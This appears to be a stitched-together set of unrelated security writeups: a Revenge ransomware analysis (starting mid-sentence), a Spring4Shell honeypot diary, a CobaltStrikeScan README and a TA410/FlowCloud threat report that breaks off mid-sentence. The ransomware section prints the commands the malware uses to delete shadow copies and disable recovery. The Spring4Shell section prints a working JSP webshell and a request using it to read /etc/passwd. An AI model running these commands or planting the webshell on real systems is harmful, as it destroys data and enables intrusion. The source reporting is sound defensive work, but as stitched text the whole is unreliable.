firefoxconfig.exe, tbirdconfig.exe, ocomm.exe, mysqld.exe, mysqld-nt.exe, mysqld-opt.exe, dbeng50.exe, sqbcoreservice.exe. Revenge will then proceed to scan the computer for targeted files and encrypt them. While Revenge's predecessor targeted 454 extensions for encryption, Revenge targets 1,237 extensions, which can be seen at the end of the article. When Revenge encounters a targeted file it will encrypt it using AES-256 encryption, encrypt the filename, and then append the .REVENGE extension to the encrypted file. The format for a renamed file is `[16_hex_char_victim_id][16_hex_char_encrypted_filename][unknown_8_hex_char_string][8_char_encrypted_filename].REVENGE`. For example, a file called test.jpg would be encrypted and renamed as something like `ABCDEF0123456789B7BC7311B474CAFD.REVENGE`. The AES encryption key used to encrypt the victim's files is then encrypted using an embedded RSA-1024 public key that only the ransomware developer has the ability to decrypt. The current public RSA key is: ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQrO3EuFElsq2cyX+mgWJ4lnK5 xE/YNZru2WpwEvEG2kTIcYthRInXveRJKnUzvtWJ0RCymL3mVbBQXF9JSCQPIkb5 NDDXDgVH16vZFBHbHoqiA4nORa7BAC9ThEgQk6+U8ZLLPahcxN9RXqE66WAmAeP9 1CerOjfLCUJMB02qoQIDAQAB -----END PUBLIC KEY----- ``` In each folder that Revenge encrypts a file, it will also create a ransom note named `# !!!HELP_FILE!!! #.txt`. Unlike previous versions of CryptoMix, this variant does not create an HTML version of the ransom note as well. ## Encrypted Files During the infection process, Revenge will issue the following commands to disable the Windows startup recovery and to clear the Windows Shadow Volume Copies: ``` cmd.exe /C bcdedit /set {default} recoveryenabled No cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures "C:\Windows\System32\cmd.exe" /C vssadmin.exe Delete Shadows /All /Quiet "C:\Windows\System32\cmd.exe" /C net stop vss ``` Revenge will also display a fake alert that states: "Windows Defender Virus and spyware definitions couldn't be updated. Click Continue for recovery update soft." Like the fake alert in CryptoShield, the broken English in the Revenge alert should give victims a hint that this alert is not legitimate. Once you press Continue in the above prompt, you will be presented with a User Account Control prompt, which asks if you wish to allow the command `"C:\Windows\SysWOW64\wbem\WMIC.exe" process call create "%UserProfile%\a1x[r65r.exe"` to execute. This explains why the previous alert was being shown; to convince a victim that they should click on the Yes button in the below UAC prompt so that ransomware is executed with administrative privileges. Finally, the Revenge Ransomware will display a ransom note called `# !!!HELP_FILE!!! #.txt`. This ransom note contains information regarding what happened to your files, a personal identification ID, and three email addresses that can be used to contact the ransom developer for payment instructions. The current email addresses are [email protected], [email protected], [email protected]. Unfortunately, at this time there is no way to currently decrypt files encrypted by Revenge for free. For those who wish to discuss this ransomware or receive support, you can always use our CryptoMix or CrypMix Ransomware Help Topic. ## File Associated with the Revenge Ransomware Variant: - C:\ProgramData\Microsofts\Windows NT\svchost.exe - `# !!!HELP_FILE!!! #.txt` ## Revenge Ransomware Hashes: - SHA256: f5bceebaecb329380385509d263f55e3d7bddde02377636a0e15f8bfd77a84a6 ## Revenge Ransomware Network Communication: - 109.236.87.201/js/other_scripts/get.php ## Example Revenge Ransom Note Text: ### ENGLISH All of your files were encrypted using REVENGE Ransomware. The action required to restore the files. Your files are not lost, they can be returned to their normal state by decoding them. The only way to do this is to get the software and your personal decryption key. Using any other software that claims to be able to recover your files will result in corrupted or destroyed files. You can purchase the software and the decryption key by sending us an email with your ID. And we send instructions for payment. After payment, you receive the software to return all files. For proof, we can decrypt one file for free. Attach it to an e-mail. ### ITALIAN Tutti i file sono stati crittografati utilizzando REVENGE ransomware. L'azione richiesta per ripristinare i file. I file non sono persi, possono essere restituiti al loro normale stato di loro decodifica. L'unico modo per farlo è quello di ottenere il software e la decrittografia personale chiave. L'uso di qualsiasi altro software che sostiene di essere in grado di recuperare i file si tradurrà in file danneggiati o distrutti. È possibile acquistare la chiave di software e decifratura con l'invio di una e-mail con il tuo ID. E mandiamo le istruzioni per il pagamento. Dopo il pagamento, si riceve il software per ripristinare tutti i file. Per dimostrare che siamo in grado di decodificare il file. Inviaci un file di e-mail. ### GERMAN Alle Dateien wurden mit REVENGE Ransomware verschlüsselt. Die notwendigen Schritte, um die Dateien wiederherzustellen. Die Dateien werden nicht verloren, können sie dekodiert werden. Der einzige Weg, zu tun ist, um die Software zu erhalten, und den privaten Schlüssel zu entschlüsseln. Mit Software, die auf Ihre Dateien zu können behauptet, bewegen als Folge von beschädigten oder zerstörten Dateien wiederhergestellt werden. Sie können die Software und Entschlüsselungsschlüssel erwerben, indem Sie uns per E-Mail Ihre ID senden. Und wir werden Anweisungen für die Zahlung senden. Nach der Bezahlung werden Sie eine Rückkehr von Software erhalten, die alle Dateien wiederherstellen würde. Um zu beweisen, dass wir eine Datei kostenlos entschlüsseln kann. Anhängen einer Datei an eine E-Mail. ### POLISH Wszystkie pliki zostały zaszyfrowane przy użyciu REVENGE szkodnika. Konieczne działania w celu przywrócenia plików. Pliki nie są tracone, mogą one zostać zwrócone do swojego normalnego stanu poprzez ich dekodowania. Jedynym sposobem na to jest, aby oprogramowanie i swój osobisty klucz deszyfrowania. Korzystanie z innego oprogramowania, które twierdzi, że jest w stanie odzyskać pliki spowoduje uszkodzonych lub zniszczonych plików. Można kupić oprogramowanie i klucz deszyfrowania wysyłając do nas e-maila z ID. A my wyślemy instrukcje dotyczące płatności. Po dokonaniu płatności otrzymasz oprogramowanie do zwrotu plików. W celu udowodnienia, że możemy odszyfrować plik. Dołączyć go do wiadomości e-mail. ### KOREAN 모든 파일은 REVENGE Ransomware를 사용하여 암호화되었습니다. 파일을 복원하는 데 필요한 작업. 파일은 손실되지 않으며 디코딩하여 정상 상태로 되돌릴 수 있습니다. 이를 수행하는 유일한 방법은 소프트웨어와 개인 암호 해독 키를 얻는 것입니다. 파일을 복구 할 수 있다고 주장하는 다른 소프트웨어를 사용하면 파일이 손상되거나 파손됩니다. 신분증을 이메일로 보내 소프트웨어 및 암호 해독 키를 구입할 수 있습니다. 그리고 우리는 지불 지시를 보낸다. 지불 후 모든 파일을 반환하는 소프트웨어를 받게됩니다. 우리는 무료로 하나의 파일의 암호를 해독 할 수 있습니다. 전자 메일 파일을 보내 주시기 바랍니다. ## CONTACT E-MAILS: - EMAIL: [email protected] - EMAIL: [email protected] - EMAIL: [email protected] - ID (PERSONAL IDENTIFICATION): ABCDEF0123456789 ## Revenge Ransomware Associated Emails: - [email protected] - SUPPORT - [email protected] - SUPPORT RESERVE FIRST - [email protected] - SUPPORT RESERVE SECOND ## Extensions Targeted by Revenge: .3G2, .3GP, .7Z, .AB4, .ACH, .ADB, .ADS, .AIT, .AL, .APJ, .ASF, .ASM, .ASP, .ASX, .BACK, .BANK, .BGT, .BIK, .BKF, .BKP, .BPW, .C, .CDF, .CDR, .CDX, .CE1, .CE2, .ODF, .ODG, .ODP, .ODS, .OIL, .ONE, .OTH, .OTP, .OTS, .P12, .P7B, .P7C, .PAS, .PAT, .PBO, .PCT, .PHP, .PIP, .PLC, .POT, .POTM, .POTX, .PPAM, .PPS, .PPSM, .PPSX, .PRF, .PSAFE3, .PSPIMAGE, .PUB, .PUZ, .PY, .QBA, .QBW, .R3D, .RAF, .RAR, .RAT, .RM, .RWZ, .SAS7BDAT, .SAY, .SD0, .SDA, .SNP, .SRF, .SRT, .ST4, .ST5, .ST6, .ST7, .ST8, .STC, .STD, .STI, .STX, .SXC, .SXI, .SXM, .VOB, .VSX, .VTX, .WAV, .WB2, .WLL, .WMV, .WPD, .X11, .XLA, .XLAM, .XLB, .XLL, .XLM, .XLR, .XLSB, .XLT, .XLTM, .XLTX, .M4A, .WMA, .D3DBSP, .XLW, .XPP, .XSN, .YUV, .ZIP, .SIE, .UNREC, .SCAN, .SUM, .T13, .T12, .QDF, .TAX, .PKPASS, .BC6, .BC7, .SIDN, .SIDD, .MDDATA, .ITL, .ICXS, .HVPL, .HPLG, .HKDB, .MDBACKUP, .SYNCDB, .GHO, .CAS, .WMO, .ITM, .SB, .FOS, .MOV, .VDF, .ZTMP, .SIS, .SID, .NCF, .MENU, .LAYOUT, .DMP, .BLOB, .ESM, .VCF, .VTF, .DAZIP, .FPK, .MLX, .KF, .IWD, .VPK, .TOR, .PSK, .RIM, .W3X, .FSH, .NTL, .ARCH00, .LVL, .SNX, .CFR, .FF, .VPP_PC, .LRF, .M2, .MCMETA, .VFS0, .MPQGE, .DB0, .DBA, .ROFL, .HKX, .BAR, .UPK, .DAS, .LITEMOD, .ASSET, .FORGE, .BSA, .APK, .RE4, .LBF, .SLM, .EPK, .RGSS3A, .PAK, .BIG, .WALLET, .WOTREPLAY, .XXX, .DESC, .M3U, .JS, .RB, .1CD, .DBF, .DT, .CF, .CFU, .MXL, .EPF, .KDBX, .VRP, .GRS, .GEO, .ST, .PFF, .MFT, .EFD, .3DM, .3DS, .RIB, .MA, .SLDASM, .SLDPRT, .MAX, .BLEND, .LWO, .LWS, .M3D, .MB, .OBJ, .X, .X3D, .MOVIE, .BYU, .C4D, .FBX, .DGN, .DWG, .4DB, .4DL, .4MP, .ABS, .ACCDB, .ACCDC, .ACCDE, .ACCDR, .ACCDT, .ACCDW, .ACCFT, .ADN, .A3D, .ADP, .AFT, .AHD, .ALF, .ASK, .AWDB, .AZZ, .BDB, .BND, .BOK, .THUMB, .TJP, .TM2, .TN, .TPI, .UFO, .UGA, .USERTILE-MS, .VDA, .VFF, .VPE, .VST, .WB1, .WBC, .WBD, .WBM, .WBMP, .WBZ, .WDP, .WEBP, .WPB, .WPE, .WVL, .X3F, .Y, .YSP, .ZIF, .CDR4, .CDR6, .CDRW, .JPEG, .DJVU, .PDF, .DDOC, .CSS, .PPTM, .RAW, .CPT, .JPG, .JPE, .JP2, .PCX, .PDN, .PNG, .PSD, .TGA, .TIFF, .TIF, .HDP, .XPM, .AI, .PS, .WMF, .EMF, .ANI, .APNG, .FLC, .FB2, .FB3, .FLI, .MNG, .SMIL, .SVG, .MOBI, .SWF, .HTML, .XLS, .XLSX, .XLSM, .XHTM, .MRWREF, .XF, .PST, .BD, .GZ, .MKV, .XML, .XMLX, .DAT, .MCL, .MTE, .CFG, .MP3, .BTR, .BAK, .BACKUP, .CDB, .CKP, .CLKW, .CMA, .DACONNECTIONS, .DACPAC, .DAD, .DADIAGRAMS, .DAF, .DASCHEMA, .DB, .DB-SHM, .DB-WAL, .DB2, .DB3, .DBC, .DBK, .DBS, .DBT, .DBV, .DBX, .DCB, .DCT, .DCX, .DDL, .DF1, .DMO, .DNC, .DP1, .DQY, .DSK, .DSN, .DTA, .DTSX, .DXL, .ECO, .ECX, .EDB, .EMD, .EQL, .FCD, .FDB, .FIC, .FID, .FM5, .FMP, .FMP12, .FMPSL, .FOL, .FP3, .FP4, .FP5, .FP7, .FPT, .FZB, .FZV, .GDB, .GWI, .HDB, .HIS, .IB, .IDC, .IHX, .ITDB, .ITW, .JTX, .KDB, .LGC, .MAQ, .MDB, .MDBHTML, .MDF, .MDN, .MDT, .MRG, .MUD, .MWB, .S3M, .MYD, .NDF, .NS2, .NS3, .NS4, .NSF, .NV2, .NYF, .OCE, .ODB, .OQY, .ORA, .ORX, .OWC, .OWG, .OYX, .P96, .P97, .PAN, .PDB, .PDM, .PHM, .PNZ, .PTH, .PWA, .QPX, .QRY, .QVD, .RCTD, .RDB, .RPD, .CER, .CFP, .CLASS, .CLS, .CMT, .CPI, .CPP, .CRAW, .CRT, .CRW, .CS, .CSH, .CSL, .CSV, .DAC, .DBR, .DDD, .DER, .DES, .DGC, .DNG, .DRF, .K2P, .DTD, .DXG, .EBD, .EML, .EXF, .FFD, .FFF, .FH, .FHD, .FLA, .FLAC, .FLV, .FM, .GRAY, .GREY, .GRW, .GRY, .H, .HPP, .IBD, .IIF, .INDD, .JAVA, .KEY, .LACCDB, .LUA, .M, .M4V, .MAF, .MAM, .MAR, .MAW, .MDC, .MDE, .MFW, .MMW, .MP4, .MPG, .MPP, .MRW, .MSO, .NDD, .NEF, .NK2, .NSD, .NSG, .NSH, .NWB, .NX1, .NX2, .ODC, .RSD, .SBF, .SDB, .SDF, .SPQ, .SQB, .STP, .SQL, .SQLITE, .SQLITE3, .SQLITEDB, .STR, .TCX, .TDT, .TE, .TEACHER, .TRM, .UDB, .USR, .V12, .VDB, .VPD, .WDB, .WMDB, .XDB, .XLD, .XLGC, .ZDB, .ZDC, .CDR3, .PPT, .PPTX, .1ST, .ABW, .ACT, .AIM, .ANS, .APT, .ASCII, .ASE, .ATY, .AWP, .AWT, .AWW, .BBS, .BDP, .BDR, .BEAN, .BIB, .BNA, .BOC, .BTD, .BZABW, .CHART, .CHORD, .CNM, .CRD, .CRWL, .CYI, .DCA, .DGS, .DIZ, .DNE, .DOC, .DOCM, .DOCX, .DOCXML, .DOCZ, .DOT, .DOTM, .DOTX, .DSV, .DVI, .DX, .EIO, .EIT, .EMAIL, .EMLX, .EPP, .ERR, .ETF, .ETX, .EUC, .FADEIN, .FAQ, .FBL, .FCF, .FDF, .FDR, .FDS, .FDT, .FDX, .FDXT, .FES, .FFT, .FLR, .FODT, .FOUNTAIN, .GTP, .FRT, .FWDN, .FXC, .GDOC, .GIO, .GPN, .GTHR, .GV, .HBK, .HHT, .HS, .HTC, .HWP, .HZ, .IDX, .IIL, .IPF, .JARVIS, .JIS, .JOE, .JP1, .JRTF, .KES, .KLG, .KNT, .KON, .KWD, .LATEX, .LBT, .LIS, .LIT, .LNT, .LP2, .LRC, .LST, .LTR, .LTX, .LUE, .LUF, .LWP, .LXFML, .LYT, .LYX, .MAN, .MAP, .MBOX, .MD5TXT, .ME, .MELL, .MIN, .MNT, .MSG, .MWP, .NFO, .NJX, .NOTES, .NOW, .NWCTXT, .NZB, .OCR, .ODM, .ODO, .ODT, .OFL, .OFT, .OPENBSD, .ORT, .OTT, .P7S, .PAGES, .PFS, .PFX, .PJT, .PLANTUML, .PRT, .PSW, .PU, .PVJ, .PVM, .PWI, .PWR, .QDL, .RAD, .README, .RFT, .RIS, .RNG, .RPT, .RST, .RT, .RTD, .RTF, .RTX, .RUN, .RZK, .RZN, .SAF, .SAFETEXT, .SAM, .SCC, .SCM, .SCRIV, .SCRIVX, .SCW, .SDM, .SDOC, .SDW, .SGM, .SIG, .SKCARD, .SLA, .SLAGZ, .SLS, .SMF, .SMS, .SSA, .STRINGS, .STW, .STY, .SUB, .SXG, .SXW, .TAB, .TDF, .TEXT, .THP, .TLB, .TM, .TMD, .TMV, .TMX, .TPC, .TRELBY, .TVJ, .TXT, .U3D, .U3I, .UNAUTH, .UNX, .UOF, .UOT, .UPD, .UTF8, .UNITY, .UTXT, .VCT, .VNT, .VW, .WBK, .WCF, .WEBDOC, .WGZ, .WN, .WP, .WP4, .WP5, .WP6, .WP7, .WPA, .WPL, .WPS, .WPT, .WPW, .WRI, .WSC, .DXF, .EGC, .EP, .EPS, .EPSF, .FH10, .FH11, .FH3, .FH4, .FH5, .FH6, .FH7, .FH8, .FIF, .FIG, .FMV, .FT10, .FT11, .FT7, .FT8, .FT9, .FTN, .FXG, .GDRAW, .GEM, .GLOX, .GSD, .HPG, .HPGL, .HPL, .IDEA, .IGT, .IGX, .IMD, .INK, .LMK, .MGCB, .MGMF, .MGMT, .MT9, .MGMX, .MGTX, .MMAT, .MAT, .OTG, .OVP, .OVR, .PCS, .PFD, .PFV, .PL, .PLT, .VRML, .POBJ, .PSID, .RDL, .SCV, .SK1, .SK2, .SLDDRT, .SNAGITSTAMPS, .SNAGSTYLES, .SSK, .STN, .SVF, .SVGZ, .SXD, .TLC, .TNE, .UFR, .VBR, .VEC, .VML, .VSD, .VSDM, .VSDX, .VSTM, .STM, .VSTX, .WPG, .VSM, .VAULT, .XAR, .XMIND, .XMMAP, .YAL, .ORF, .OTA, .OTI, .OZB, .OZJ, .OZT, .PAL, .PANO, .PAP, .PBM, .PC1, .PC2, .PC3, .PCD, .PDD, .PE4, .PEF, .PFI, .PGF, .PGM, .PI1, .PI2, .PI3, .PIC, .PICT, .PIX, .PJPEG, .PJPG, .PM, .PMG, .PNI, .PNM, .PNTG, .POP, .PP4, .PP5, .PPM, .PRW, .PSDX, .PSE, .PSP, .PSPBRUSH, .PTG, .PTX, .PVR, .PX, .PXR, .PZ3, .PZA, .PZP, .PZS, .Z3D, .QMG, .RAS, .RCU, .RGB, .RGF, .RIC, .RIFF, .RIX, .RLE, .RLI, .RPF, .RRI, .RS, .RSB, .RSR, .RW2, .RWL, .S2MV, .SAI, .SCI, .SCT, .SEP, .SFC, .SFERA, .SFW, .SKM, .SLD, .SOB, .SPA, .SPE, .SPH, .SPJ, .SPP, .SR2, .SRW, .STE, .SUMO, .SVA, .SAVE, .SSFN, .T2B, .TB0, .TBN, .TEX, .TFC, .TG4, .THM, .QBI, .QBR, .CNT, .V30, .QBO, .LGB, .QWC, .QBP, .AIF, .QBY, .1PA, .QPD, .SET, .ND, .RTP, .QBWIN, .LOG, .QBBACKUP, .TMP, .TEMP1234, .QBT, .QBSDK, .SYNCMANAGERLOGGER, .ECML, .QSM, .QSS, .QST, .FX0, .FX1, .MX0, .FPX, .FXR, .FIM, .BETTER_CALL_SAUL, .BREAKINGBAD, .HEISENBERG, .YTBL, .WSD, .WSH, .WTX, .XBDOC, .XBPLATE, .XDL, .XLF, .XPS, .XWP, .XY3, .XYP, .XYW, .YBK, .YML, .ZABW, .ZW, .2BP, .0, .36, .3FR, .411, .73I, .8XI, .9PNG, .ABM, .AFX, .AGIF, .AGP, .AIC, .ALBM, .APD, .APM, .APS, .APX, .ARTWORK, .ARW, .ASW, .AVATAR, .BAY, .BLKRT, .BM2, .BMP, .BMX, .BMZ, .BRK, .BRN, .BRT, .BSS, .BTI, .C4, .CAL, .CALS, .CAN, .CD5, .CDC, .CDG, .CIMG, .CIN, .CIT, .COLZ, .CPC, .CPD, .CPG, .CPS, .CPX, .CR2, .CT, .DC2, .DCR, .DDS, .DGT, .DIB, .DM3, .DMI, .VUE, .DPX, .WIRE, .DRZ, .DT2, .DTW, .DVL, .ECW, .EIP, .ERF, .EXR, .FAL, .FAX, .FIL, .FPOS, .G3, .GCDP, .GFB, .GFIE, .GGR, .GIF, .GIH, .GIM, .GMBCK, .GMSPR, .SPR, .SCAD, .GPD, .GRO, .GROB, .HDR, .HPI, .I3D, .ICN, .ICPR, .IIQ, .INFO, .INT, .IPX, .ITC2, .IWI, .J, .J2C, .J2K, .JAS, .JB2, .JBIG, .JBIG2, .JBMP, .JBR, .JFIF, .JIA, .JNG, .JPG2, .JPS, .JPX, .JTF, .JWL, .JXR, .KDC, .KDI, .KDK, .KIC, .KPG, .LBM, .LJP, .MAC, .MBM, .MEF, .MNR, .MOS, .MPF, .MPO, .MRXS, .MYL, .NCR, .NCT, .NLM, .NRW, .OC3, .WALLET, .OC4, .OC5, .OCI, .OMF, .OPLC, .AF2, .AF3, .AI, .ART, .ASY, .CDMM, .CDMT, .CDMTZ, .CDMZ, .CDT, .CGM, .CMX, .CNV, .CSY, .CV5, .CVG, .CVI, .CVS, .CVX, .CWT, .CXF, .DCS, .DED, .DESIGN, .DHS, .DPP, .DRW, .DXB.
# Spring Vulnerability Update - Exploitation Attempts CVE-2022-22965 Published: 2022-03-31 Last Updated: 2022-03-31 16:55:14 UTC by Johannes Ullrich (Version: 1) The Spring project now released a blog post acknowledging the issue so far known as "spring4shell". The announcement confirms some of the points made yesterday: - JDK 9 or higher are affected (JDK 8 is not affected) - Spring MVC and Spring Webflux applications are affected - Spring Boot executable jars are vulnerable, but the current exploit does not affect them - A patch has been released. Upgrade to Spring Framework 5.3.18 (with Spring Boot 2.6.6 or 2.5.12) or Spring Framework 5.2.20 - We now have a CVE: CVE-2022-22965 - CVSS Score is 9.8 The vulnerable libraries are not as widely used as log4j, and exploitation does depend a bit more on the application. But just like for log4j, we will likely see exploits evolving and spreading quickly for some popular vulnerable applications. We started seeing some exploit attempts that match the general "Spring4Shell" pattern early on Wednesday (around 09:20 UTC). The first exploit from one of our larger honeypots came from 38.83.79.203. It was directed at a honeypot listening on port 9001, not the "usual" tomcat port 8080. The currently published exploit will change the logging configuration, writing a file to the application's root directory. Next, the attacker will send requests that contain code to be written to this new "log file". Finally, the attacker will access the log file with a browser to execute the code. The code in the currently published exploit does create a simple webshell: ```jsp <% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } } %> ``` Files like this, present in the application's directory, could be used as an indicator of compromise. The exploit alters the logging configuration. After the exploit is executed, all access logs will be appended to this script, and these logs are also sent back to the attacker as the attacker accesses the script. A typical filename is "tomcatwar.jsp", but of course the name of the parameters, and the filename, are easily changed. A typical request looking for the web shell will look like: ``` GET /tomcatwar.jsp?pwd=j&cmd=cat%20/etc/passwd ``` We have seen attempts to install the web shell, as well as attempts to access existing webshells. Couple IPs that "stick out": - 149.28.147.15 - 103.214.146.5 - 158.247.202.6 I have also seen the filename "wpz.jsp" used, in particular by 103.214.146.5. Some swear words have also shown up in filenames used by specific IPs. Please note that we are not sure if these attempts actually work. They are detected by honeypots that are not actually vulnerable to these exploits. Just like for log4j, we do see some scanning for vulnerable hosts by attempting to execute simple commands like 'whoami' or 'cat /etc/passwd'. The level of activity appears to be much less than what we had for log4shell. Likely because there isn't a simple "one size fits all" exploit, and exploitability depends on the application, not just using a particular framework.
# CobaltStrikeScan CobaltStrikeScan scans files or process memory for Cobalt Strike beacons and parses their configuration. It scans Windows process memory for evidence of DLL injection (classic or reflective injection) and/or performs a YARA scan on the target process' memory for Cobalt Strike v3 and v4 beacon signatures. Alternatively, CobaltStrikeScan can perform the same YARA scan on a file supplied by absolute or relative path as a command-line argument. If a Cobalt Strike beacon is detected in the file or process, the beacon's configuration will be parsed and displayed to the console. ## Cloning This Repo CobaltStrikeScan contains GetInjectedThreads as a submodule. Ensure you use ``` git clone --recursive https://github.com/Apr4h/CobaltStrikeScan.git ``` when cloning CobaltStrikeScan so that the submodule's code is also downloaded/cloned. ## Building the Solution Costura.Fody is configured to embed CommandLine.dll and libyara.NET.dll in the compiled CobaltStrikeScan.exe assembly. CobaltStrikeScan.exe should then serve as a static, portable version of CobaltStrikeScan. For this to occur, ensure that the "Active Solution Platform" is set to x64 when building. ## Acknowledgements This project is inspired by the following research/articles: - SpecterOps - Defenders Think in Graphs Too - JPCert - Volatility Plugin for Detecting Cobalt Strike - SentinelLabs - The Anatomy of an APT Attack and CobaltStrike Beacon’s Encoded Configuration - Neo23x0's Signature Base for high-quality YARA signatures used to detect Cobalt Strike's encoded configuration block. ## Requirements - 64-bit Windows OS - .NET Framework 4.6 - Administrator or SeDebugPrivilege is required to scan process memory for injected threads ## Usage - `-d`, `--directory-scan` Scan all process/memory dump files in a directory for Cobalt Strike beacons - `-f`, `--scan-file` Scan a process/memory dump for Cobalt Strike beacons - `-i`, `--injected-threads` Scan running (64-bit) processes for injected threads and Cobalt Strike beacons - `-p`, `--scan-processes` Scan running processes for Cobalt Strike beacons - `-v`, `--verbose` Write verbose output - `-w`, `--write-process-memory` Write process memory to file when injected threads are detected - `-h`, `--help` Display Help Message - `--help` Display this help screen. - `--version` Display version information. ## Example ```plaintext 3/3 ```
# TA410: The Group Behind LookBack Attacks Against U.S. Utilities Sector Returns with New Malware June 08, 2020 Michael Raggi, Dennis Schwarz, and Georgi Mladenov with the Proofpoint Threat Research Team In August 2019, Proofpoint researchers reported that LookBack malware was targeting the United States (U.S.) utilities sector between July and August 2019. We then continued our analysis into additional LookBack campaigns that unfolded between August 21-29, 2019. These campaigns utilized malicious macro-laden documents to deliver modular malware to targeted utility providers across the U.S. At the same time, Proofpoint researchers identified a new malware family named FlowCloud that was also being delivered to U.S. utilities providers. FlowCloud malware, like LookBack, gives attackers complete control over a compromised system. Its remote access trojan (RAT) functionality includes the ability to access installed applications, the keyboard, mouse, screen, files, services, and processes with the ability to exfiltrate information via command and control. We analyzed phishing campaigns between July-November 2019 and determined that both LookBack and FlowCloud malware can be attributed to a single threat actor we are calling TA410. This conclusion is based on the threat actor’s use of shared attachment macros, malware installation techniques, and overlapping delivery infrastructure. Our analysis found similarities between TA410 and TA429 (APT10) delivery tactics, specifically, we have seen attachment macros that are common to both actors. TA410 campaigns detected in November 2019 included TA429 (APT10)-related infrastructure used in phishing attachment delivery macros. However, Proofpoint analysts believe that intentional reuse of well-publicized TA429 (APT10) techniques and infrastructure may be an attempt by threat actors to create a false flag. For this reason, while research is ongoing, we do not attribute LookBack and FlowCloud campaigns to TA429 (APT10). Proofpoint currently tracks TA429 (APT10) independently of TA410 campaigns. ## Delivery Proofpoint researchers observed phishing campaigns beginning on July 10, 2019, that targeted utility providers across the United States with portable executable (PE) attachments and used subject lines such as “PowerSafe energy educational courses (30-days trial)”. These campaigns continued through September 2019. Our analysis of these phishing campaigns determined that the PE attachments delivered modular malware which the developers referred to in program data base (“PDB”) paths as “FlowCloud”. We therefore refer to these campaigns as “FlowCloud” based on the malware family they delivered. It’s notable that these FlowCloud campaigns were occurring at the same time as the LookBack campaigns that Proofpoint has previously documented. Both the FlowCloud and LookBack campaigns targeted utility providers in the United States, used training and certification-themed lures, and used threat actor-controlled domains for delivery. In some cases, both FlowCloud and LookBack campaigns targeted not only the same companies but also the same recipients. The senders of the emails that delivered FlowCloud malware utilized threat actor-controlled domains for delivery which impersonated energy sector training services, as well as utilized subdomains which contained the word “engineer”. We observed a distinct change in FlowCloud delivery tactics beginning with attacks carried out in November 2019. The targeting of U.S. utilities companies remained constant, but the threat actors shifted from PE attachments to malicious macro-laden Microsoft Word documents that closely resembled the same delivery and installation macros used in LookBack malware campaigns. Additionally, in November, threat actors began to utilize the sender domain asce[.]email to deliver these attachments. This domain was first observed in June 2019 registered to the IP 103.253.41[.]75 which was used as a staging and reconnaissance IP in previous LookBack campaigns. On October 29, 2019, the domain resolved to the IP 134.209.99[.]169 which also hosted several energy certification and education-themed domains. A number of these domains also shared an SSL certificate with delivery domains previously observed in the July and August 2019 FlowCloud phishing campaigns. The content of the emails in the November 2019 campaigns impersonated the American Society of Civil Engineers and masqueraded as the legitimate domain asce[.]org. The structure of this email is very similar to the LookBack delivery emails constructed to impersonate the NCEES and Global Energy Certification in July 2019. ## Exploitation - Installation Macros As noted above, after an extended period of using PE attachments to deliver FlowCloud in campaigns, the threat actors behind FlowCloud switched to using Microsoft Word documents with malicious macros at the beginning of November 2019. The Word document attachments and macros delivering FlowCloud had key similarities with the Word document attachments and macros we identified that delivered LookBack in July and August 2019. Identical to the methodology used with LookBack, the FlowCloud macro used privacy enhanced mail (“.pem”) files which were subsequently renamed to the text file “pense1.txt”. This file is next saved as a portable executable file named “gup.exe” and executed using a version of the certutil.exe tool named “Temptcm.tmp”. For comparison, the FlowCloud macro used to install FlowCloud malware shows the macro used to install FlowCloud while the macro used to install LookBack malware shows the macro used to install LookBack. The “Exploitation” section in our blog LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards has a more in-depth explanation of this method used by LookBack. FlowCloud uses this same method exactly including identical macro concatenation code. While we found the ultimate execution method for both the LookBack Gup proxy tool and FlowCloud malware were the same across both macro versions, we found that the FlowCloud macro introduced a new method for the delivery of the malware. The earlier LookBack versions of the macro included the payload in numerous privacy enhanced email (“.pem”) files that were dropped when the attachment file is executed by the user. The FlowCloud version of the macro utilized a previously unobserved macro section to download the payload from a DropBox URL. Once the payload was downloaded, a FlowCloud malware PE in the form of a .pem file was saved as the variable “Pense1.txt”. The FlowCloud macro also contained a strange try… catch statement which initially attempts to download the FlowCloud payload from the DropBox URL as part of the try statement. However, if it was unable to retrieve the payload from that resource, a catch statement which was nearly identical to the try statement attempted to retrieve a malware resource from the URL http://ffca.caibi379[.]com/rwjh/qtinfo.txt. This try…catch sequence is significant because the URL in the catch statement and malware resource was previously mentioned in a May 2019 blog by enSilo entitled “Uncovering New Activity by APT10”. The blog claims that this URL delivered a modified Quasar RAT payload which included the addition of SharpSploit, an open-source post-exploitation tool. FlowCloud Malware Our analysis of the FlowCloud malware determined that it is a multi-stage payload comprised of a large code base written in C++. The code demonstrates a level of complexity including numerous components, extensive object-oriented programming, and use of legitimate and imitation QQ files for initial and later stage execution. We found further imitation of QQ components in several modules used throughout FlowCloud execution. The malware name “FlowCloud” was taken from distinctive PDB paths observed in numerous malware components. FlowCloud malware is capable of RAT functionalities based on its available commands including accessing the clipboard, installed applications, keyboard, mouse, screen, files, services, and processes with the ability to exfiltrate information via command and control. Additionally, the malware variants analyzed have several distinct characteristics that indicate the malware may have been active in the threat landscape since at least July 2016. In addition to components built to target updated Windows versions, FlowCloud samples have dropped a 32-bit module that was only compatible with Windows versions 6 (Windows Vista) and below. The dated nature of this binary coupled with the extensible nature of the malware code suggests that the FlowCloud code base has been under development for numerous years. Public reports around FlowCloud malware components and related installation directory paths suggest that versions of this malware may have been observed in the wild as early as July 2016. Additionally, development of this malware around legitimate QQ files and the identification of malware samples uploaded to VirusTotal from Japan in December 2018 and earlier this year from Taiwan indicate that the malware may have been active for some time in Asia prior to its appearance targeting the U.S. utilities sector. The malware begins with the execution of Gup.exe by the malicious macro which in turn executes the file EhStorAuthn.exe. EhStorAuthn.exe extracts the subsequent payload file components and installs them to the directory C:\Windows\Media\SystemPCAXD\ado\fc. This file also sets registry key values that store the keylogger drivers and the malware configuration as the value “KEY_LOCAL_MACHINE\SYSTEM\Setup\PrintResponsor\<2-4>”. The malware stores its configuration in the registry alongside drivers utilized by the malware’s keylogger components. Several additional distinct registry keys are generated which indicate the malware’s current execution stage on the host. ## Conclusion The convergence of LookBack and FlowCloud malware campaigns in November 2019 demonstrates the capabilities of TA410 actors to distinctly utilize multiple tools as part of a single ongoing campaign against U.S. utilities providers. Both 